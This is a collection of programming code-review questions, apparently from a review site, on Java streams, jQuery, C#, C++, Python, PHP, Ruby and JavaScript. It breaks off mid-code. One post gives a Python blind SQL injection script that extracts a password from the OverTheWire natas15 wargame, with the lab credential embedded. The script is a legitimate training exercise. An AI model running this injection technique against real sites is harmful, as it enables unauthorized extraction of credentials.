texts: "Multiplying" 2 lists of Strings together in Java 8

texts:
The following method is part of a class that imports zip archives, and part of that class's job is to verify that a given zip archive contains "complete filesets". A "complete fileset" is one such that, for a given file name prefix, there exists a file in the zip archive with that prefix and each suffix. There are always 3 suffixes and they are always the same 3.

For example, say there are file names prefixes A, B, and C, and the suffixes are X, Y, and Z. Then the file names found in the zip archive should be AX, AY, AZ, BX, BY, BZ, CX, CY, and CZ.

This method is used to create the list of expected file names in order to verify that they all exist within the zip archive.

Here is the method in question:

public static List<String> multiply( List<String> list1, List<String> list2 ) {
    return list1.stream()
        .map( s1 -> {
            return list2.stream()
                .map( s2 -> s1 + s2 )
                .collect( Collectors.toList() );
        })
        .flatMap( List::stream )
        .collect( Collectors.toList() );
}

I was wondering if, maybe, there is a clearer or more concise way to accomplish this? I realize it can be done with a couple of for loops, but I would prefer using Java 8 streams, as I would like to practice and learn the API. Also, I'm not sure if "multiply" is the right thing to call this operation.

Here is the unit test for the method if it helps to clarify the usage and intent:

@Test
public void testMultiply() {
    List<String> list1 = Lists.newArrayList( "A", "B", "C" );
    List<String> list2 = Lists.newArrayList( "D", "E", "F" );
    List<String> result = Lists.newArrayList(
        "AD", "AE", "AF",
        "BD", "BE", "BF",
        "CD", "CE", "CF");
    Assert.assertEquals( result, multiply( list1, list2 ) );
}


texts: Use jQuery to force two checkboxes mirror each other's state

texts:
RESTRICTION: jQuery 1.6.4 only, no other library, or version can be used.

My goal is to use jQuery to allow two input checkboxes behave the same.

For example: If 1st checkbox is checked, 2nd will be checked. If 1st is unchecked, 2nd will be unchecked. And vise versa. When either of the checkbox is checked, I will add a class to the HTML body tag, if it's unchecked, remove the class to the body tag.

HTML:

<body>
    <input type="checkbox" checked='true' id='1'/>
    <input type="checkbox" checked='true' id='2'/>
</body>

I can't modify the input tags, that means I can't give it a class name. I can only use what is there. Meantime, I try to make as less jQuery calls as possible, in order to increase performance. I try to write as less code as possible, so I came up this piece of code:

jQuery:

$('input:checkbox').live('change', function () {
  $('input:checkbox').prop('checked', $(this).is(":checked"));
  if ($('input:checkbox').is(":checked")) {
    $('body').addClass('checked');
  } else {
    $('body').removeClass('checked');
  }
});

The code works, but I am not happy with it. I think it can be improved. I especially do not like the part $('input:checkbox'), I am concerned about the speed when querying the DOM with $('input:checkbox'). How can I improve? Any other problems?


texts: Unit testing code that verifies order of method execution

texts:
Say I have a piece of code

public class OrderValidator : IValidator<OrderCommand>
{
    private readonly IValidationService validationService;

    public OrderValidator(IValidationService validationService)
    {
        this.validationService = validationService;
    }

    public ValidationResult Validate(OrderCommand command)
    {
         var stepBuilder = this.validationService.CreateValidationStepBuilder(command);

         stepBuilder
             .AddCommandStep<OrderedItemIsValid>()
             .AddBreakIfNotValidStep()
             .AddCommandStep<CustomerIsValid>()
             .AddCommandStep<CustomerAddressIsValid>()
             .AddBreakIfNotValidStep()
             .AddCommandStep<OrderPaymentIsValid>()
             .AddCommandStep<OrderPaymentSuccessful>();

         return stepBuilder.Validate();
    }
}

The purpose of the validator is to setup the various validation steps (the Add... bit). The actual task of validation is delegated to a service, which creates a step builder, which exposes a validate method. So the validation step builder has abstracted away the job of actually storing and running the steps in order away from the validator.

In my unit test for this class, I have to make sure that the validation steps have been applied in the correct order. Since that is the only responsibility of the validator class.

[Fact]
public void AssertThatStepsAreAddedInOrder()
{
    var validationStepBuilderMock = this.CreateStepBuilderMock();

    // assume step builder mock has been hooked up correctly to the validator under test at this point
    this.Validator.Validate(new OrderCommand());

    // Using NSubstitute, verify that the order of steps is correct
    Received.InOrder(() =>
    {
        validationStepBuilderMock
             .AddCommandStep<OrderedItemIsValid>()
             .AddBreakIfNotValidStep()
             .AddCommandStep<CustomerIsValid>()
             .AddCommandStep<CustomerAddressIsValid>()
             .AddBreakIfNotValidStep()
             .AddCommandStep<OrderPaymentIsValid>()
             .AddCommandStep<OrderPaymentSuccessful>();
    });
}

Is this a good unit test? My colleagues have argued no since all I have done is copy and paste the steps into the test (unit test exhibits tautology). If the steps are changed, or a new one is added, then all that needs to be done is to update the test method order.

The code does look extremely similar to the validator under test due to the fluent nature of the step builder (Add... method chaining). But how else would you test for order of execution? Surely the point of a test that tests the order of code execution is to break when that order is violated?


texts:
I'm trying to implement a RawString class that conforms to C++11:

#include <iostream>
#include <string>
#include <memory>

class RawString
{
    private:
        char* buff_;
    public:
        RawString()
        {
            std::cout << "rawstring def ctor\n";
            buff_ = nullptr;
        }
        ~RawString()
        {
            delete [] buff_;
        }
        RawString(const char* str) {
            std::cout << "rawstring normal char* ctor\n";
            buff_ = new char[strlen(str) + 1];
            strcpy(buff_, str);
            buff_[strlen(str)] = '\0';
        }
        RawString(const RawString& str) : RawString(str.buff_) {
            std::cout << "rawstring copy ctor\n";
        }
        RawString(RawString&& other) {
            std::cout << "rawstring move ctor\n";
            buff_ = other.buff_;
            other.buff_ = nullptr;
        }
        RawString(char*&& other) {
            std::cout << "rawstring move ctor\n";
            buff_ = other;
            other = nullptr;
        }
        void swap(RawString& other) {
            std::swap(other.buff_, buff_);
        }
//      RawString& operator=(const char* str) {
//          std::cout << "operator=char*\n";
//          buff_ = new char[strlen(str) + 1];
//          strcpy(buff_, str);
//          buff_[strlen(str)] = '\0';
//          return *this;
//      }
        RawString& operator=(RawString other) {
            std::cout << "opeartor=\n";
            swap(other);
            return *this;
        }
        friend const RawString operator+(const RawString& lhs, const RawString& rhs) {
            std::cout << "friend opt+\n";
            char* buff = new char[strlen(lhs.buff_) + strlen(rhs.buff_) + 1];
            strcpy(buff, lhs.buff_);
            strcat(buff, rhs.buff_);
            buff[strlen(lhs.buff_) + strlen(rhs.buff_)] = '\0';
            return std::move(buff);
//          RawString newStr(buff);
//          delete[] buff;
//          return newStr;
        }
};

int main()
{
    RawString str1("how are you");
    RawString str2(str1);
    RawString str3 = str1;
    RawString str4;
    str4 = str1;
    str4 = "how are you";
    RawString str5 = str1 + str2;
    return 0;
}

Is my implementation correct?
Should swap be friend?
Should I implement the RawString& operator=(const char* str) assignment operator?
Do I need to implement the char* move constructor?
Could you give me some additional suggestions?


texts:
I made a game in python, where the objective is to catch a 'turtle'. The controls are the arrow keys.

#Catch the turtle
import turtle
import math
import random

score = 0
print ("\n" * 40)
print("Your score is:\n0")

#Title
t=turtle.Pen()
t.pencolor("Blue")
t.hideturtle()
t.penup()
t.setposition(-70,350)
t.write("Catch the turtle", font=("Verdana", 18))

#Tip
text=turtle.Pen()
t.pencolor("Red")
t.hideturtle()
t.penup()
t.setposition(-70, -350)
t.write("DON'T TOUCH THE EDGES!", font=("Verdana", 18))

#Set up screen
wn = turtle.Screen()
wn.bgcolor("lightblue")
wn.title("Catch the Turtle")

#Draw border
mypen = turtle.Turtle()
mypen.penup()
mypen.speed(10)
mypen.hideturtle()
mypen.setposition(-300,-300)
mypen.pendown()
mypen.pensize(3)
for side in range(4):
    mypen.color("yellow")
    mypen.forward(300)
    mypen.color("black")
    mypen.forward(300)
    mypen.left(90)
mypen.hideturtle()

#Create player turtle
player = turtle.Turtle()
player.color("blue")
player.shape("arrow")
player.penup()
player.speed(0)

#Create goal
goal = turtle.Turtle()
goal.color("red")
goal.shape("turtle")
goal.penup()
goal.speed(0)
goal.setposition(-100, -100)

#Set speed
speed = 1

#Define functions

def turnleft():
    player.left(30)

def turnright():
    player.right(30)

def increasespeed():
    global speed
    speed +=0.5

def decreasespeed():
    global speed
    speed -= 1

#Set keyboard binding
turtle.listen()
turtle.onkey(turnleft, "Left")
turtle.onkey(turnright, "Right")
turtle.onkey(increasespeed, "Up")
turtle.onkey(decreasespeed, "Down")

while True:
    player.forward(speed)

    #Boundary check
    if player.xcor() > 300 or player.xcor() < -300:
        print("GAME OVER")
        quit()

    if player.ycor() > 300 or player.ycor() < -300:
        print("Game OVER")
        quit()

    #Collision checking
    d= math.sqrt(math.pow(player.xcor()-goal.xcor(),2) + math.pow(player.ycor()-goal.ycor(),2))
    if d < 20 :
        goal.setposition(random.randint(-300,300), random.randint(-300, 300))
        score = score + 1
        print ("\n" * 40)
        print("Your score is")
        print (score)


texts:
I've been having fun with natas, a wargame, from overthewire.

This is another script I made to pass stage 15. I'm using Python with SQL injection to find the password for the next level.

I think the program is short, and easy to understand. But maybe I could have done a few things even better.

Any review is welcome!

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def blind_sql():
    password = ''
    correct_guess = b'This user exists.'

    # Because all natas passwords were 32 char long
    for i in range(32):
        for char in POSSIBLE_CHARS:
            sql = f'{URL}?username=natas16" AND password LIKE BINARY "{password}{char}%'
            if requests.get(sql).content.find(correct_guess) != -1:
                password += char
                break

    return f'Password = {password}'

if __name__ == '__main__':
    if requests.get(URL).status_code == requests.codes.ok:
        print(blind_sql())
    else:
        print('Authentication failed!')


texts: Code in patched Cygwin for calculating path to command interpreter

texts:
I'm working on a fork of Cygwin for native Windows development.

In this commit, I'm trying to improve the security of code that spawns cmd.exe, used by functions like system, popen.

What I would like to focus on is this:

static const char *cmd_exe_path = NULL;

static void init_cmd_exe_path(void)
{
  char sysdir[NT_MAX_PATH];
  char cmdname[] = "cmd.exe";
  unsigned int nchars;

  if ((nchars = GetSystemDirectoryA(sysdir, sizeof sysdir)) < sizeof sysdir) {
    unsigned int total = nchars + 1 + sizeof cmdname + 1;
    char *path = static_cast<char *>(cmalloc_abort(HEAP_STR, total));
    snprintf(path, total, "%s\\%s", sysdir, cmdname);
    cmd_exe_path = path;
  }
}

const char *get_cmd_exe_path()
{
  static pthread_once_t cmd_exe_once = PTHREAD_ONCE_INIT;
  pthread_once (&cmd_exe_once, init_cmd_exe_path);
  return cmd_exe_path;
}

The idea here is to avoid relying on a hard-coded path like C:\Windows\System32\cmd.exe, as well as to avoid the COMSPEC environment variable which could be commandeered by an attacker. Comment about anything are welcome: API usage, bugs, security concerns, correct use of Cygwin internals (I have no idea whether HEAP_STR is the best choice in cmalloc_abort).

Oops, I see I used (void), out of habit, on the static function, even though this is C++.


texts: Pass by Entity or EntityId in repositories?

texts:
Which is the best practice in getting data from repository? passing just by object or by Id?

public IQueryable<Attendance> GetByPersonId(int id)
    {
        return DbSet.Where(ps => ps.PersonId == id);
    }

or

public IQueryable<Attendance> GetByPerson(Person person)
    {
        return DbSet.Where(ps => ps.Person == person);
    }

Are there any performance implication? Or is it a case to case basis? If so what are the cases that you might want to pass by object and not by Id?


texts: Sorting a list of numbers in increasing order

texts:
Here's a program I wrote to sort a list of numbers in increasing order (without using inbuilt sort function).

(define (sort-list l)
  (define first-element (if (not (null? l)) (car l) 0))
  (cond ((null? l) (quote ()))
        (else (cons (find-shortest l first-element) (sort-list (remove-member l (find-shortest l first-element)))))))

(define find-shortest
    (lambda (tl b)
      (cond ((null? tl) b)
            ((< (car tl) b) (set! b (car tl)) (find-shortest (cdr tl) b))
            (else (find-shortest (cdr tl) b)))))

(define remove-member
    (lambda (tl2 a)
      (cond ((null? tl2) (quote ()))
            ((= a (car tl2)) (cdr tl2))
            (else (cons (car tl2) (remove-member (cdr tl2) a))))))

It works, but I know it's very badly written. It has way too many recursions than what's necessary. Can someone suggest ways to make this code better?


texts:
I have the following implementation of the Fnv1a hashing for a string, which should be correct:
public static uint Fnv1a(string toHash, bool separateUpperByte = false)
{
    IEnumerable<byte> bytesToHash;

    if (separateUpperByte)
    {
        bytesToHash = toHash.ToCharArray().Select(c => new[] { (byte)((c - (byte)c) >> 8), (byte)c }).SelectMany(c => c);
    }
    else
    {
        bytesToHash = toHash.ToCharArray().Select(Convert.ToByte);
    }

    uint hash = FnvConstants.FnvOffset32;
    foreach (var chunk in bytesToHash)
    {
        hash ^= chunk;
        hash *= FnvConstants.FnvPrime32;
    }

    return hash;
}

I now want to hash Guids instead of strings. Will the following give a good fnv1 hash?
public static uint Fnv1a(Guid toHash, bool separateUpperByte = false)
{
    IEnumerable<byte> bytesToHash;
    if (separateUpperByte)
    {
        bytesToHash = toHash.ToByteArray().Select(c => new[] { (byte)((c - (byte)c) >> 8), (byte)c }).SelectMany(c => c);
    }
    else
    {
        bytesToHash = toHash.ToByteArray();
    }
    uint hash = FnvConstants.FnvOffset32;
    foreach (var chunk in bytesToHash)
    {
        hash ^= chunk;
        hash *= FnvConstants.FnvPrime32;
    }
    return hash;
}

We use the hash for determining partitions in a Service Fabric cluster. My concern is whether this implementation distributes the keys evenly.


texts:
I have made a small Vue app which fulfills the following user stories:

Given I make a search for an existing GitHub user, then:

The user's username is shown
The user's avatar is shown
The user's most commonly used language, if available, in their repositories is shown as a 'favourite language'
The user's followers, if there are any, are shown alongside their amount

Here is a working demo.

Here is my single file component:

<template>

    <form @submit.prevent="submit">
      <input v-model="inputValue" type="text" placeholder="Enter a GitHub username...">
      <button>Go!</button>
    </form>

 Favourite Language: {{faveLang}}

 0">Followers ({{followers.length}}):

 0">

        {{follower}}

</template>

My questions:

Is this a good way of managing changing values, ie by mutating the data object? Or should this be represented in state?
How can I better structure this app? It could be split up into components but should it?
Is there a better way to make API calls like this, and should they go in the methods section?
Should the API calls be placed inside the mounted method?


texts: Serializing tabular data in ruby -- is map, flatten, hash the correct approach?

texts:
I wanted a hash which lets me reference Japanese syllables by their romanized names. In hindsight I could have searched for an existing one column table, but I wanted to improve my ruby by writing a function which serializes these multi-column tables I found on wikipedia:

 katakana:
 v_eng:   a i u e o
 v_jap:   ア イ ウ エ オ
 K:   カ キ ク ケ コ
 S:   サ シ ス セ ソ
 T:   タ チ ツ テ ト
 N:   ナ ニ ヌ ネ ノ
 H:   ハ ヒ フ ヘ ホ
 M:   マ ミ ム メ モ
 Y:   ヤ _ ユ _ ヨ
 R:   ラ リ ル レ ロ
 W:   ワ ヰ _ ヱ ヲ
hiragana:
 v_eng:   a i u e o
 v_jap:   あ い う え お
 k:   か き く け こ
 s:   さ し す せ そ
 t:   た ち つ て と
 n:   な に ぬ ね の
 h:   は ひ ふ へ ほ
 m:   ま み む め も
 y:   や _ ゆ _ よ
 r:   ら り る れ ろ
 w:   わ ゐ _ ゑ を
 nn:   ん _ _ _ _

I was able to create the serializing function, syllabarys():

#!/usr/bin/env ruby
require 'yaml'

def syllabarys
@syllabarys ||= lambda{
   raw_data = YAML.load_file 'japanese.dic'

   syllabary_names = ['katakana','hiragana']

   a = syllabary_names.map{|syllabary|

      syllabary_data = raw_data[syllabary]

      veng,vjap = syllabary_data['v_eng'].split, syllabary_data['v_jap'].split

      vowels = Hash[*veng.zip(vjap).flatten] #zipped flat array => splat

      #jp row strings by en consonants:
      jrsbec = syllabary_data.select{|con,row|con =~ /^[KSTNHMYRWkstnhmyrwN]$/}

      #jp row arrays by en consonants:
      jrabec = Hash[*jrsbec.map{|con,row|[con,row.split]}.flatten(1)]

      #en vowels with jp row arrays by en consonants:
      evwjrabec = Hash[jrabec.map{|con,row|[con,Hash[veng.zip(row)]]}] #array of hashes => no splat

      #jp syllables by en syllables:
         #outer map provides en consonant to inner map
         #inner map creates the dictionary we want in array form, e.g. [#K#[['Ka','カ'],..], #S..]
         #flatten(1) removes outer array created by outer map [['Ka','カ'],..] => no splat
      jp_by_en = Hash[evwjrabec.map{|con,row|row.map{|vowel,jp_syl| [con+vowel,jp_syl] }}.flatten(1)]

      #remove forgotten syllables:
      jp_by_en.select{|en_syl,jp_syl|jp_syl != '_'}
   }
   Hash[*syllabary_names.zip(a).flatten(1)]
}.call
end

And it returns the desired hash:

{"katakana"=>{"Ka"=>"カ", "Ki"=>"キ", "Ku"=>"ク", "Ke"=>"ケ", "Ko"=>"コ", "Sa"=>"サ", "Si"=>"シ", "Su"=>"ス", "Se"=>"セ", "So"=>"ソ", "Ta"=>"タ", "Ti"=>"チ", "Tu"=>"ツ", "Te"=>"テ", "To"=>"ト", "Na"=>"ナ", "Ni"=>"ニ", "Nu"=>"ヌ", "Ne"=>"ネ", "No"=>"ノ", "Ha"=>"ハ", "Hi"=>"ヒ", "Hu"=>"フ", "He"=>"ヘ", "Ho"=>"ホ", "Ma"=>"マ", "Mi"=>"ミ", "Mu"=>"ム", "Me"=>"メ", "Mo"=>"モ", "Ya"=>"ヤ", "Yu"=>"ユ", "Yo"=>"ヨ", "Ra"=>"ラ", "Ri"=>"リ", "Ru"=>"ル", "Re"=>"レ", "Ro"=>"ロ", "Wa"=>"ワ", "Wi"=>"ヰ", "We"=>"ヱ", "Wo"=>"ヲ"}, "hiragana"=>{"ka"=>"か", "ki"=>"き", "ku"=>"く", "ke"=>"け", "ko"=>"こ", "sa"=>"さ", "si"=>"し", "su"=>"す", "se"=>"せ", "so"=>"そ", "ta"=>"た", "ti"=>"ち", "tu"=>"つ", "te"=>"て", "to"=>"と", "na"=>"な", "ni"=>"に", "nu"=>"ぬ", "ne"=>"ね", "no"=>"の", "ha"=>"は", "hi"=>"ひ", "hu"=>"ふ", "he"=>"へ", "ho"=>"ほ", "ma"=>"ま", "mi"=>"み", "mu"=>"む", "me"=>"め", "mo"=>"も", "ya"=>"や", "yu"=>"ゆ", "yo"=>"よ", "ra"=>"ら", "ri"=>"り", "ru"=>"る", "re"=>"れ", "ro"=>"ろ", "wa"=>"わ", "wi"=>"ゐ", "we"=>"ゑ", "wo"=>"を"}}

This task was a good exercise in index-free coding, but I notice my code exhibits a recurring pattern of map|zip->flatten->Hash. I'd like to know if this is this a normal pattern in ruby or if there's a better way of serializing tabular data.


texts: Most optimized way to get minimum strpos from multiple needles

texts:
function min_strpos_array($haystack, $needles) {
    $min = null;
    for ($i = 0; $i < count($needles); $i++) {
        $strpos = strpos($haystack, $needles[$i]);
        if ($strpos !== FALSE) {
            $min = $strpos;
            for ($i = $i + 1; $i < count($needles); $i++) {
                $strpos = strpos($haystack, $needles[$i]);
                if ($strpos !== FALSE) {
                    $min = $min < $strpos ? $min : $strpos;
                }
            }
        }
    }
    return $min;
}

echo min_strpos_array('hello#,?', array('#', '?')); //5


texts:
I've written PHP code to upload multiple images to a server.
This function processes a maximum of 10 images at one time and if any image's width or height is larger than 2000px it will resize it. But the code is a little bit slow.
I want your opinion of this code.
Is there is way to make it more fast and secure?
P.S.: I use an .htaccess file in upload folder to make it more secure.
This is my PHP code:
$img_num=count($_FILES['upload_images']['name']);
if($img_num>0 && $img_num<11){

for($i=0;$i<$img_num;$i++){
if($_FILES['upload_images']['name'][$i]!=''){
$ext=explode(".",$_FILES['upload_images']['name'][$i]);
$ext=strtolower($ext[1]);

if ((($_FILES['upload_images']['type'][$i] == "image/gif")
|| ($_FILES['upload_images']['type'][$i] == "image/jpeg")
|| ($_FILES['upload_images']['type'][$i] == "image/jpg")
|| ($_FILES['upload_images']['type'][$i] == "image/pjpeg")
|| ($_FILES['upload_images']['type'][$i] == "image/x-png")
|| ($_FILES['upload_images']['type'][$i] == "image/png"))
&& ($_FILES['upload_images']['size'][$i] < 12000000)
&& in_array($ext,array("gif","jpeg","jpg","png"))){

$is_jpg=1;$ex='jpg';

switch ($ext){
case 'jpg':$image=imagecreatefromjpeg($_FILES['upload_images']['tmp_name'][$i]);break;
case 'jpeg':$image=imagecreatefromjpeg($_FILES['upload_images']['tmp_name'][$i]);break;
case 'png':$image=imagecreatefrompng($_FILES['upload_images']['tmp_name'][$i]);if($_FILES['upload_images']['size'][$i] < 2000000){$ex='png';$is_jpg=2;}break;
case 'gif':$image=imagecreatefromgif($_FILES['upload_images']['tmp_name'][$i]);$ex='gif';$is_jpg=3;break;
default:$image=imagecreatefromjpeg($_FILES['upload_images']['tmp_name'][$i]);break;
}

$path='upload/img_'.mb_substr(md5($_FILES['upload_images']['name'][$i].rand(0,50)),0,rand(5,10)).'.'.$ex;

$width=imagesx($image);$height=imagesy($image);
$resize=false;
if($width>2000 || $height>2000){
$width_orig=$width;$height_orig=$height;
$width=2000;$height=2000;
$ratio_orig=$width_orig/$height_orig;
($width/$height > $ratio_orig)?$width=$height*$ratio_orig:$height=$width/$ratio_orig;
$resize=true;
}

if($is_jpg==1){
if($resize){
$bg=imagecreatetruecolor($width, $height);
imagecopyresampled($bg, $image, 0, 0, 0, 0,$width, $height,$width_orig, $height_orig);
imagejpeg($bg,$path,75);
imagedestroy($bg);
}
else{imagejpeg($image,$path,80);}
imagedestroy($image);
$img_url[]=$ex;
}

elseif($is_jpg==2){
$bg = imagecreatetruecolor($width, $height);
imagesavealpha($bg, TRUE);
imagefill($bg, 0, 0, imagecolorallocatealpha($bg, 0, 0, 0,127));
$resize?imagecopyresampled($bg, $image, 0, 0, 0, 0,$width, $height,$width_orig, $height_orig):imagecopy($bg, $image, 0, 0, 0, 0,$width, $height);
imagedestroy($image);
imagepng($bg,$path,8);
imagedestroy($bg);
}

elseif($is_jpg==3){
move_uploaded_file($_FILES['upload_images']['tmp_name'][$i], $path);
}

}
}
}

}

and this the .htaccess file:
IndexIgnore *

deny from all
<Files ~ "^(.*)+\.(gif|jpg|png|jpeg|svg|mp4)$">
order deny,allow
allow from all
</Files>

Options -Indexes -ExecCGI
RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off

ForceType application/octet-stream
<FilesMatch "(?i).jpe?g$">
    ForceType image/jpeg
</FilesMatch>
<FilesMatch "(?i).gif$">
    ForceType image/gif
</FilesMatch>
<FilesMatch "(?i).png$">
    ForceType image/png
</FilesMatch>
<FilesMatch "(?i)\.mp4$">
    ForceType video/mp4
</FilesMatch>


texts: Scraping images from a webpage and saving it to a customized folder using vba

texts:
I've written a script in VBA which is able to scrape images from a webpage and save it to a customized folder successfully. Firstly, it scrapes the image link then downloads the image and rename it according to it's identity. It takes 2/3 seconds to accomplish the task. I tried to do the whole thing specklessly. Here is the script I tried with:

Sub SavingImages()

Dim http As New XMLHTTP60, htmldoc As New HTMLDocument
Dim htmlas As Object, htmla As Object, html As Object
Dim stream As Object, tempArr As Variant
Dim fileSource As String

With http
    .Open "GET", "https://www.yify-torrent.org/search/1080p/", False
    .send
    htmldoc.body.innerHTML = .responseText
End With

Set htmlas = htmldoc.getElementsByClassName("movie")

For Each htmla In htmlas
    Set html = htmla.getElementsByTagName("img")(0)

    fileSource = Replace(html.src, "about", "http")
    tempArr = Split(html.src, "/")
    tempArr = tempArr(UBound(tempArr))

    With http
        .Open "GET", fileSource, False
        .send
    End With

    Set stream = CreateObject("ADODB.Stream")

    stream.Open
    stream.Type = 1
    stream.write http.responseBody
    stream.SaveToFile ("D:\Test\Images\" & tempArr & ".jpg")
    stream.Close
Next htmla
End Sub


texts: Avoiding code repetition while handling exceptions

texts:
For my application, I need to use two slightly different algorithms for persisting an entity:

def persistRandomAlias(self, alias):
    self.em.persist(alias)
    try:
        self.em.flush()
    except DBALException as e:
        if e.previous.code != 23000:
            raise e
        self.reloadEM()

        self.persistRandomAlias(alias)

def persistCustomAlias(self, alias):
    self.em.persist(alias)
    try:
        self.em.flush()
    except DBALException as e:
        if e.previous.code != 23000:
            raise e
        self.reloadEM()

        existing = self.findByNaturalKey(alias.name)
        if existing != alias:
            raise DuplicateNameException('The requested name is already taken', e)

The difference between them is in part of the code responsible for exception handling. I thought about putting the common code in one method, with remaining operations passed in a function that would accept exception object, like this:

def persistAlias(self, alias, exHandler):
    self.em.persist(alias)
    try:
        self.em.flush()
    except DBALException as e:
        if e.previous.code != 23000:
            raise e
        self.reloadEM()

        exHandler(e)

def persistRandomAlias(self, alias):
    self.persistAlias(alias, lambda e: self.persistRandomAlias(alias))

def persistCustomAlias(self, alias):
    def exHandler(e):
        existing = self.findByNaturalKey(alias.name)
        if existing != alias:
            raise DuplicateNameException('The requested name is already taken', e)

    self.persistAlias(alias, exHandler)

However, I'm not sure if it is correct to pass an unused argument to a function.

I have also thought about refactoring common code into an abstract method object class, like this:

def execute(self):
    self.em.persist(alias)
    try:
        self.em.flush()
    except DBALException as e:
        if e.previous.code != 23000:
            raise e
        self.reloadEM()
        self.e = e

        self.handleE()

handleE() would be implemented in subclasses of the class implementing execute() method, and it could access exception object, or not, depending on implementation.

Should I choose one of these ideas for dealing with code duplication? Which one is better? Do you suggest a better solution?


texts:
I was following Wes Bos JS 30-day challenge, so HTML and CSS are mostly are copy-paste,
I'd like feedback on JS (mostly).
Thanks.

const panels = document.querySelectorAll('.panel');

panels.forEach(panel => panel.addEventListener('click', () => {
  const isOpen = panel.classList.contains('open');
  panels.forEach(panel => panel.classList.remove('open'));
  if(!isOpen) {
    panel.classList.add('open');
  }
}));

panels.forEach(panel => panel.addEventListener('transitionend', e => {
  if(e.propertyName.includes('flex')) {
    panels.forEach(panel => {
      if(panel.classList.contains('open')) {
        panel.classList.add('open-active');
      } else {
        panel.classList.remove('open-active');
      }
    });
  }
}));
html {
  box-sizing: border-box;
  background: #ffc600;
  font-family: 'helvetica neue';
  font-size: 20px;
  font-weight: 200;
}

body {
  margin: 0;
}

*,
*:before,
*:after {
  box-sizing: inherit;
}

.panels {
  min-height: 100vh;
  overflow: hidden;
  display: flex;
}

.panel {
  background: #6B0F9C;
  box-shadow: inset 0 0 0 5px rgba(255, 255, 255, 0.1);
  color: white;
  text-align: center;
  align-items: center;
  /* Safari transitionend event.propertyName === flex */
  /* Chrome + FF transitionend event.propertyName === flex-grow */
  transition:
    font-size 0.7s cubic-bezier(0.61, -0.19, 0.7, -0.11),
    flex 0.7s cubic-bezier(0.61, -0.19, 0.7, -0.11), background 0.2s;
  font-size: 20px;
  background-size: cover;
  background-position: center;

  flex: 1;
  display: flex;
  justify-content: center;
  flex-direction: column;
}

.panel1 {
  background-image: url(https://source.unsplash.com/gYl-UtwNg_I/1500x1500);
}

.panel2 {
  background-image: url(https://source.unsplash.com/rFKUFzjPYiQ/1500x1500);
}

.panel3 {
  background-image: url(https://images.unsplash.com/photo-1465188162913-8fb5709d6d57?ixlib=rb-0.3.5&q=80&fm=jpg&crop=faces&cs=tinysrgb&w=1500&h=1500&fit=crop&s=967e8a713a4e395260793fc8c802901d);
}

.panel4 {
  background-image: url(https://source.unsplash.com/ITjiVXcwVng/1500x1500);
}

.panel5 {
  background-image: url(https://source.unsplash.com/3MNzGlQM7qs/1500x1500);
}

/* Flex Children */
.panel>* {
  margin: 0;
  width: 100%;
  transition: transform 0.5s;
  flex: 1 0 auto;
  display: flex;
  align-items: center;
  justify-content: center;
}

.panel *:first-child {
  transform: translateY(-100%);
}

.panel *:last-child {
  transform: translateY(100%);
}

.panel.open-active *:first-child,
.panel.open-active *:last-child {
  transform: translateY(0);
}

.panel p {
  text-transform: uppercase;
  font-family: 'Amatic SC', cursive;
  text-shadow: 0 0 4px rgba(0, 0, 0, 0.72), 0 0 14px rgba(0, 0, 0, 0.45);
  font-size: 2em;
}

.panel p:nth-child(2) {
  font-size: 4em;
}

.panel.open {
  font-size: 40px;
  flex: 5;
}
<!DOCTYPE html>

  <meta charset="UTF-8">
  <title>Flex Panels </title>
  <link href="https://fonts.googleapis.com/css?family=Amatic+SC" rel="stylesheet" type="text/css">

Hey

Let's

Dance

Give

Take

Receive

Experience

It

Today

Give

All

You can

Life

In

Motion


texts: Project Euler 407: Is there any more optimal way to solve this idempotent equation (modulo n ring)?

texts:
Project Euler problem 407:

  If we calculate a2 mod 6 for 0 ≤ a ≤ 5 we get: 0, 1, 4, 3, 4, 1.

  The largest value of a such that a2 mod 6 = a is 4.
  Let's call M(n) the largest value of a < n such that a2 mod n = a.
  So M(6) = 4.

  Find ΣM(n) for 1 ≤ n ≤ 107.

So far, this is what I have:

import time
start = time.time()
from math import sqrt

def primes1(n):
    """ Returns  a list of primes < n """
    sieve = [True] * (n/2)
    for i in xrange(3,int(sqrt(n))+1,2):
        if sieve[i/2]:
            sieve[i*i/2::i] = [False] * ((n-i*i-1)/(2*i)+1)
    return [2] + [2*i+1 for i in xrange(1,n/2) if sieve[i]]

tot=0

gor = primes1(10000000)

def factor1(n):
    '''Returns whether a number has more than 1 prime factor'''
    boo = False

    '''if n in gor:
        return True'''

    for e in xrange(0,len(gor)):

        z=gor[e]

        if n%z==0:

            if boo:
                return False
            boo = True
        elif z*2>n:
            break
    return True

for n in xrange(2,10000000):

    if factor1(n):

        tot+=1
    else:
        for a in xrange(int(sqrt(n))+1,n/2+1):
            if (a*a)%n==a:

                tot+=n+1-a
                break

print tot
print time.time()-start

I've tried this code for smaller cases and it works perfectly; however, it is way too slow to do 10^7 cases.

Currently, for n being less than 20000, it runs in about 8 seconds.
When n is less than 90000, it runs in about 150 seconds.

As far as I can tell, for n is less than 10^7, it will run for many hours if not days.

I'm already using the sieve to generate prime numbers so that part is as fast as it can be, is there anything I can do to speed up the rest of the code?

I've already tried using different compiler like psyco, pypy, and shedskin. Psyco provides a minimal increase, shedskin speeds it up about 7 times but creates errors when large numbers occur, pypy speeds it up the most (about 20-30x the speed). But even then, it's still not fast enough for the amount of cases it has to go through.


texts: To-do list with counting of checked items

texts:
For practice  JavaScript I created simple To-do app.
This app can add TODOs and track the number of total TODOs as well as the number of unchecked TODOs.
For this I written 4 functions:

for add newTodo - newTodo(), where I add new todo to todos array
for render list of todo - drawTodoList(), where I also add event listener to each checkbox item
confirmCheck() for change state of todo checked property
countItem() for counting all items and unchecked items

My questions:

was it right to use innerHTML to add li items?
adding event listener to all checkboxes in my case takes 4 line (in end drawTodoList). How can I short this?
how can I improve my function countItem()?

const todos = []
let newTodoId = 0
let checkboxes
let checkboxArray

const classNames = {
  TODO_ITEM: 'todo-container',
  TODO_CHECKBOX: 'todo-checkbox',
  TODO_TEXT: 'todo-text',
  TODO_DELETE: 'todo-delete',
}

const list = document.getElementById('todo-list')
const itemCountSpan = document.getElementById('item-count')
const uncheckedCountSpan = document.getElementById('unchecked-count')

function newTodo() {
  let getTodo = prompt("Add new to-do", "")

  if(getTodo == null || getTodo == "") {
    console.log("you don't add new to-do")
  } else {
